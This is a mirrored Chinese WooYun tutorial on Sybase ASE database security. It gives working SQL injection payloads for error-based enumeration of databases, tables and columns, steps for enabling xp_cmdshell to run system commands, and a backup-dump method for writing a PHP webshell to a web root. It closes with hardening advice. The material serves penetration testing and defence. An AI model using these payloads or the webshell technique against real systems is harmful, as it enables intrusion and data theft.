6

Sybase数据库安全 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Sybase数据库安全

0x00 Sybase数据库介绍


简介

Sybase的全称又叫: SAP Sybase Adaptive Server Enterprise(简称ASE或Sybase ASE),继承于MSSQL的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或WindowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具,以SAP Sybase SQL Anywhere为客户端。目前新版是ASE 15.7.x,命名从12.5.5直接到15.0.0(跳过中间的13、14),本次测试的是12.5.2,其中12.5是12大版本中最稳定的版本。

enter image description here

创建数据库的时候要注意存放设备:

enter image description here

服务及端口

enter image description here

开放端口:

备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004

默认数据库

enter image description here

Master:系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码;

Model:模板数据库,当创建用户数据库时,系统根据model数据库制作副本,并将数据库的大小扩展到用户指定的大小。

Systemprocs:保存系统的存储过程。

Sybsystemdb:关于分布式事务管理功能。

Tempdb:包含临时表,放置临时数据。

注册用户和数据库用户

当SQL SERVER创建注册用户后,该用户就能合法进SQL SERVER,该注册用户信息会放在master数据库中的 syslogins表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。

创建注册用户:

sp_addlogin loginame, passwd     (删除即为drop)

创建数据库用户:

[dbname..] sp_adduser loginame    (此处的loginame 必须是注册用户,否则报错)

分配权限:

grant all | select,insert,delete,update
on table_name | view_name | stored_procedure_name
to username

grant all | create database,create
default,create procedure,create rule,create table,create view,set proxy,set session authorization
to username

数据库用户分类

sa用户、数据库属主、数据库对象属主和数据库普通用户

1)、sa用户:为系统用户,拥有全部的权限。

2)、数据库属主用户:数据库属主(dbo)用户可对本数据库中所有对象(如表、视图、存储过程等)进行操作。

3)、数据库对象属主:在实际管理中, ,一般为数据库属主。

4)、数据库普通用户:类似于public,数据库普通用户必须在数据库属主对本数据库中某些对象(如表、视图、进程等)赋予某些权限时,才可对本数据库中某些对象进行允许的操作。

别名(aliases)与组(group)

1)、别名:所谓别名(aliases)即将SQL SERVER中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。

2)、组(group)为数据库用户的集合,即通过对组(group)的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。

enter image description here

角色

一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。

enter image description here

连接及管理工具

1)、isql

类似于mysql数据库的的mysql.exe。可连接本地及网络数据库。 使用isql –U sa –P “”连接:

enter image description here

所有参数要区分大小写:

-?显示 isql 开关的语法摘要。

-L列出在本地配置的服务器和在网络上广播的服务器的名称。

-U login_id用户登录 ID。登录 ID 区分大小写。

-P password 是用户指定的密码。如果未使用-P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql 使用默认密码NULL)。密码区分大小写。

-S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。

-H hostname 是使用的客户端的主机名称。

-d use database name,用于指定使用数据库名

2)、官方Sybase SQL Advantage

缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

b、只支持SQL语句,个人觉得就是isql的图形化版,有所不便。

enter image description here

enter image description here

(Sql.ini设定及功能:http://blog.csdn.net/potato015/article/details/2450989 )

3)、官方Sybase Central

缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

b、功能不是很强大

enter image description here

4)、DBArtisan

enter image description here

0x01 Sybase安全

执行系统命令

默认xp_cmdshell是不开启的。未开启xp_cmdshell时:

enter image description here

开启xp_cmdshell : sp_configure 'xp_cmdshell context',0

enter image description here

开启xp_cmdshell后执行命令:

enter image description here

权限不够时执行xp_cmdshell:

enter image description here

细节:

1、执行 sp_configure 'xp_cmdshell',0 允许所有含sa_role角色的login用户执行xp_cmdshell命令,此功能默认关闭

2、默认 sp_configure 'xp_cmdshell',1 经测试需要在windows下具有相同longin用户名称和密码,并且该用户隶属administrators权限组,还有一点不能忽略:取消选择“用户下次登录时需更改密码”!

3、MSSQL由于和windows集成,可以直接使用系统账户登录到数据库。而Sybase则需要按照上面第二步做配置才能达到和MSSQL类似的效果。

注释符与联合查询

支持union,可以用//、--来注释,可以用//来替换空格,也可以用+代替空格,也支持count(),不过通配符不能出现在子查询中。

enter image description here

12.5.2及以前的版本不支持TOP关键字,形如select top N from注入语句将报错

enter image description here

当然,不能用top,肯定会有替代方案,那就是set rowcount N

enter image description here

enter image description here

但是set rowcount N貌似不支持子查询和条件句:

enter image description here

多句执行

与mssql不同的地方是:多条语句直接以空格分隔,而不是分号。

enter image description here

enter image description here

对编码的支持

与MSSQL相同:

enter image description here

SQL注入特性

以Php为脚本:

enter image description here

以Java为脚本:

enter image description here

判断是否是Sybase数据库:

id=1 and exists(select * from master.dbo.ijdbc_function_escapes)

enter image description here

enter image description here

以报错方式注入时要注意,sybase是不支持不同类型数据直接相比较的(与MSSQL不同):

id=1 and 1=user
id=1 and 1=convert(integer,user)

![enter image description here][28]

id=1 and 1=convert(integer,(select+@@version))

![enter image description here][29]

id=-1 union select 1,"",(select @@version)

enter image description here

列库(复杂版本):

id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’)) 

列出第一个库master

id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘))  

列出除master外的第一个库

enter image description here

列库(简单版本):

id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1))   不断递增dbid的值

enter image description here

dbid是连续的数字,猜解起来很容易

enter image description here

PS:虽然Sybase不能用TOP、for xml path,但是支持having、where not in等语法,变化方式依然有多种

与MSSQL不同的一点:

MSSQL是xtype Sybase是type

enter image description here

列表(只能用复杂版):

id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))

列出第一个表cmd

id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))

列出除cmd外的第一个表cmd0

enter image description here

列字段:

select name from test..syscolumns where id=object_id(‘users’) and colid=1  递增colid

即:

id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1))

enter image description here

工具注入:

enter image description here

穿山甲猜不出库名,抓包发现使用了TOP关键字,看来穿山甲只支持12.5.3以后的sybase

enter image description here

备份写文件(webshell)

前提条件:

1、备份服务打开

2、备份服务允许远程访问

3、有数据库权限(宿主权限)+磁盘写权限

步骤:

1、create table cmd(a image)—

2、insert into cmd(a) values ('<?php phpinfo();?>')—

3、dump database test to ‘C:\wamp\www\1.php’ 【全备份】
(对应MSSQL为:backup database 库名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)
   dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG备份】
(对应MSSQL为:backup log 库名 to disk='d:\www\xxx\test.asp'--)

注:使用dump TRANSACTION时要求数据文件和日志文件不能存放在同一设备中。

4、drop table cmd--

enter image description here

加固与防范

口令

sp_password  “原密码”, “新密码”,用户名

例如将sa用户的密码由空改为123456: sp_password NULL,”123456”,sa

sp_configure “minimum password length”,8    ---密码最短长度

sp_configure “check password for digit”,1   ---至少包含一个数字

sp_configure “systemwide password expiration”,90   ---口令有效时长

sp_configure “maximum failed logins”,5   ---设置口令错误锁定阀值

删除扩展存储过程xp_cmdshell, 并删 除 sybsyesp.dll 

exec  sp_dropextendedproc  xp_cmdshell

  关闭sa账户的使用:

sp_locklogin sa,"lock“

关闭远程访问:

exec sp_configure “allow remote access” ,0

关闭后,很多服务将无法使用,比如备份

登陆IP白名单

系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆IP白名单  

create procedure login_trg 
as  
   [email protected](18),@login_name varchar(20) 
begin  
   select 
   @ip=t.ipaddr,@login_name=suser_name() 
   from master.dbo.sysprocesses t where t.spid=@@spid  
   [email protected]<>'192.168.0.102'
      begin  
         raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name 
         select syb_quit() 
      end 
   else  
       print 'Welcome!' 
end  

创建登录触发器后,执行如下命令:

isql>grant execute on login_trg to loginname  
isql>sp_modifylogin loginname, "login script",login_trg

 

日志

isql>exec sp_configure "log audit logon failure",1 --记录登录失败信息
isql>exec sp_configure "log audit logon success",1 --记录登录成功信息

http://drops.wooyun.org/wp-content/uploads/2015/08/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK